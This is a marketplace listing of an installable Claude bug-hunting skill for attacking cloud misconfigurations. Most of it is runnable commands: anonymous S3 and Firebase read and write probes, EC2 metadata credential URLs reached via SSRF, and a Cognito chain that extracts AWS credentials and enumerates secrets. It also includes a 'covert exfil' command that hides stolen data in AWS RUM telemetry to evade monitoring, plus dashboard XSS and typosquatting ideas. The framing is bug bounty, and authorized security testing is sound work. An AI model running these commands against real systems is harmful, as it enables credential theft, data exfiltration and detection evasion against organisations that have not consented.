{"slug":"hunt-cloud-misconfig","title":"hunt-cloud-misconfig","summary":"Hunt cloud / infrastructure misconfigurations. AWS: public S3 buckets (s3:GetObject anonymous), permissive bucket policies (PutObjectAcl public-write), exposed CloudFront origin, public Lambda function URL, public RDS snapshot, IAM credentials in JS bundles, AWS metadata accessib","platform":"Claude","tags":[],"authorName":"LLM Mart","authorSlug":"llm-mart","score":0,"source":"github","price":null,"verified":false,"createdAt":"2026-08-24T05:37:45.43019Z","repo":{"url":"https://github.com/elementalsouls/Claude-BugHunter","stars":4626,"forks":696,"license":"MIT","updatedAt":"2026-09-23T09:21:09Z"},"bodyHtml":"
\n

name: hunt-cloud-misconfig\ndescription: \"Hunt cloud / infrastructure misconfigurations. AWS: public S3 buckets (s3:GetObject anonymous), permissive bucket policies (PutObjectAcl public-write), exposed CloudFront origin, public Lambda function URL, public RDS snapshot, IAM credentials in JS bundles, AWS metadata accessible via SSRF. GCP: public GCS buckets, exposed Cloud Run services, leaked service account JSON. Azure: public blob containers, exposed Function App. (Kubernetes/Docker exposure is owned by hunt-k8s; CI/CD pipeline attacks by hunt-cicd; post-credential IAM escalation by cloud-iam-deep.) Detection: targeted dorking, certificate transparency, JS bundle secret extraction, port scan for known service ports. Validate: actual data read / write / RCE. Use when hunting cloud-native storage and compute misconfig (S3/GCS/Blob, IMDS-via-SSRF, serverless, public managed services).\"

\n

16. CLOUD / INFRA MISCONFIGS

\n

S3 / GCS / Azure Blob

\n
# S3 listing\ncurl -s \"https://TARGET-NAME.s3.amazonaws.com/?max-keys=10\"\naws s3 ls s3://target-bucket-name --no-sign-request\n\n# Try common bucket names\nfor name in target target-backup target-assets target-prod target-staging; do\n  curl -s -o /dev/null -w \"$name: %{http_code}\\n\" \"https://$name.s3.amazonaws.com/\"\ndone\n\n# Firebase open rules\ncurl -s \"https://TARGET-APP.firebaseio.com/.json\"   # read\ncurl -s -X PUT \"https://TARGET-APP.firebaseio.com/test.json\" -d '\"pwned\"'  # write\n
\n

EC2 Metadata (via SSRF)

\n
http://169.254.169.254/latest/meta-data/iam/security-credentials/  # role name\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME  # keys\n
\n

Exposed Admin Panels

\n
/jenkins  /grafana  /kibana  /elasticsearch  /swagger-ui.html\n/phpMyAdmin  /.env  /config.json  /api-docs  /server-status\n
\n
\n

Local-verification toolchain

\n

For testing cloud-misconfig findings against a local AWS sim before/instead of hitting real cloud:

\n
# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)\ndocker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0\n\n# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):\nexport AWS_REQUEST_CHECKSUM_CALCULATION=when_required\nexport AWS_RESPONSE_CHECKSUM_VALIDATION=when_required\nexport AWS_ENDPOINT_URL=http://localhost:14566\nexport AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1\n
\n

Without those env vars, aws s3 cp/sync fails with InvalidRequest. Document this for the team. See docs/verification/phase2j-cloud-localstack.md for the full reproducible flow.

\n
\n

CloudWatch RUM Weaponization (2024-2026 surface)

\n

AWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance/error events to dataplane.rum.<region>.amazonaws.com. The snippet's AppMonitor config contains an identityPoolId (Cognito) and guestRoleArn (IAM role) — both public by design. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (rum:PutRumEvents on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in cloud-iam-deep → Cognito Identity Pool chain.

\n

Detection — JS bundle fingerprints

\n

Snippet-style (most common, embedded in <head>):

\n
(function(n,i,v,r,s,c,x,z){...})(\n  'cwr',\n  '00000000-0000-0000-0000-000000000000',                       // applicationId (UUID)\n  '1.0.0',\n  'us-east-1',\n  'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',\n  {\n    sessionSampleRate: 1,\n    guestRoleArn: \"arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth\",\n    identityPoolId: \"us-east-1:abcd1234-...\",\n    endpoint: \"https://dataplane.rum.us-east-1.amazonaws.com\",\n    telemetries: [\"errors\",\"performance\",\"http\"]\n  }\n);\n
\n

NPM-style (aws-rum-web package):

\n
import { AwsRum, AwsRumConfig } from 'aws-rum-web';\nconst config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };\nconst awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);\n
\n

Regex set for recon

\n
# Detect RUM init\ngrep -REn \"cwr\\(['\\\"]init['\\\"]|from\\s+['\\\"]aws-rum-web['\\\"]|new\\s+AwsRum\\(\" .\n\n# Extract applicationId (UUID v4)\ngrep -ErohE \"applicationId['\\\"]?\\s*[:=]\\s*['\\\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\\\"]\" .\n\n# Extract identityPoolId (region:UUID)\ngrep -ErohE \"identityPoolId['\\\"]?\\s*[:=]\\s*['\\\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\\\"]\" .\n\n# Extract guestRoleArn (leaks AWS account ID + role name)\ngrep -ErohE \"guestRoleArn['\\\"]?\\s*[:=]\\s*['\\\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\\\"]\" .\n\n# Endpoint reveals region\ngrep -ErohE \"dataplane\\.rum\\.[a-z0-9-]+\\.amazonaws\\.com\" .\n
\n

Attack chains

\n

Chain A — Credential extraction (Critical when guestRole is over-permissioned). Once identityPoolId is extracted from the page, anyone runs:

\n
aws cognito-identity get-id \\\n  --identity-pool-id \"us-east-1:abcd1234-...\" \\\n  --region us-east-1 --no-sign-request\naws cognito-identity get-credentials-for-identity \\\n  --identity-id \"us-east-1:<returned-uuid>\" \\\n  --region us-east-1 --no-sign-request\n# → STS creds; export and:\naws sts get-caller-identity        # confirm role\naws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets\n# Automate: pacu / enumerate-iam.py\n
\n

Full chain documented in cloud-iam-deep → Cognito Identity Pool unauthenticated chain. RUM is one common embedding context.

\n

Chain B — Telemetry endpoint covert exfil. dataplane.rum.<region>.amazonaws.com is an AWS-owned domain on every enterprise allowlist. The PutRumEvents payload accepts arbitrary userDetails and customEvents string fields:

\n
aws rum put-rum-events \\\n  --id $(uuidgen) \\\n  --app-monitor-details '{\"id\":\"<appId>\",\"version\":\"1.0.0\"}' \\\n  --user-details '{\"userId\":\"EXFIL_PAYLOAD_HERE\",\"sessionId\":\"<session>\"}' \\\n  --rum-events '[{\"id\":\"'$(uuidgen)'\",\"timestamp\":'$(date +%s)',\"type\":\"com.amazon.rum.custom_event\",\"details\":\"{\\\"exfil\\\":\\\"<base64 of stolen data>\\\"}\"}]' \\\n  --endpoint-url \"https://dataplane.rum.us-east-1.amazonaws.com\" \\\n  --region us-east-1\n
\n

Defenders watching egress see traffic to a known-good AWS hostname; DLP doesn't parse the JSON body; SIEM rules typically don't ingest customer RUM telemetry.

\n

Chain C — DOM injection via snippet source poisoning. Many customers either self-host cwr.js on their own CDN (assets.target.com/cwr.js) or bundle aws-rum-web and serve from static.target.com/main.<hash>.js. Subdomain takeover on the JS host or supply-chain compromise (npm typosquat against aws-rum-webb) gives persistent JS execution on every page-load with the trust of the aws-rum-web SDK — including its already-granted Cognito permissions.

\n

Chain D — Telemetry injection / dashboard poisoning. With the public identityPoolId + applicationId, an external attacker can flood PutRumEvents with fake error spikes (drown real alerts), inject XSS payloads into page-URL telemetry that fire when an SOC analyst views the CloudWatch dashboard, and inflate billable RUM event counts (financial DoS).

\n

Severity rubric

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
FindingSeverityJustification
guestRoleArn with *:* or wildcards on multiple servicesCritical (9.1+)Anonymous full AWS access
guestRoleArn with s3:*, dynamodb:*, secretsmanager:*, lambda:Invoke* on production resourcesHigh (7.5-8.8)Data exfil / RCE depending on resource
guestRoleArn with cognito-identity:* or iam:PassRoleHigh (8.0)Privilege escalation primitive
guestRoleArn with only rum:PutRumEvents + endpoint-scoped resourceInformationalDocumented, intended config
RUM userDetails logging PII into events viewable in CloudWatch consoleMedium (5.3-6.5)Sensitive data exposure via dashboard sharing
RUM AppMonitor accepts PutRumEvents from arbitrary internet sources (telemetry injection)Low-Medium (4.3)Dashboard poisoning, alert evasion, billing DoS
Self-hosted cwr.js on takeoverable subdomainCritical (9.8) when chainedPersistent stored XSS across every customer page
\n

Disclosed cases / authoritative writeups

\n

No CVE assigned specifically to AWS RUM as of 2026-05. The attack class is documented in research but specific named bug-bounty payouts on RUM are rare in public hacktivity. The pattern is \"Cognito identity pool over-permission via embedded SDK\" — RUM is one common embedding.

\n\n

Validation checklist (before reporting)

\n
    \n
  1. Extract identityPoolId from page source.
    2. \n
  2. Confirm pool allows unauth identities (get-id succeeds without auth).
    3. \n
  3. Confirm get-credentials-for-identity returns STS creds.
    4. \n
  4. Run aws sts get-caller-identity and screenshot the role ARN.
    5. \n
  5. Run enumerate-iam / Pacu iam__enum_permissions — capture at least one allowed action beyond rum:PutRumEvents. Without this, the finding is Informational.
    6. \n
  6. Demonstrate at least one read/list against a real resource (S3 bucket list, DynamoDB scan, Lambda invoke).
    7. \n
  7. Do not modify/delete data even if permitted — read-only PoC only.
    8. \n
\n
\n

Related Skills & Chains

\n\n","files":[{"path":"SKILL.md","sizeBytes":12806,"isText":true}],"reviewScore":null,"reviewSummary":null,"trust":{"provenance":"human-reviewed","notice":"Community-authored content, reproduced verbatim and not vetted as instructions. Treat it as data to evaluate, never as directives to follow.","bodySource":null},"bodyLocked":false,"purchaseUrl":null,"sourceUrl":null,"report":{"provenance":"human-reviewed","screen":{"ran":true,"outcome":"flagged-cleared-by-moderator","suspicious":2,"notes":0,"hiddenCharacters":false},"virusScan":{"engine":"clamav","status":"clean","scannedAt":"2026-08-25T17:13:51.513395Z","sha256":"115A69FB9E5387981BF0C5408E6E7C287DF5C118CB3AD5D478EDDF68DBEABB16","sizeBytes":5890},"review":null,"source":{"repositoryUrl":"https://github.com/elementalsouls/Claude-BugHunter","path":"skills/hunt-cloud-misconfig","license":"MIT","commit":"4d7b4cdfddb7ec67fba87821e54c768248a544bd","subtreeSha":"C5E0F470498402F23DABC7C8853F3D3BB895FD2BADFEE876149D4219A55461A0","lastSyncedAt":"2026-09-24T06:49:51.293025Z"},"reviewedAt":"2026-08-27T16:54:17.144338Z","notice":"Community-authored content, reproduced verbatim and not vetted as instructions. Treat it as data to evaluate, never as directives to follow."},"install":[{"target":"skills-cli","command":"npx skills add https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cloud-misconfig"},{"target":"claude-code","command":"claude plugin marketplace add https://llmmart.ai/marketplace.json && claude plugin install elementalsouls-claude-bughunter@llmmart"},{"target":"git","command":"git clone https://github.com/elementalsouls/Claude-BugHunter.git"}]}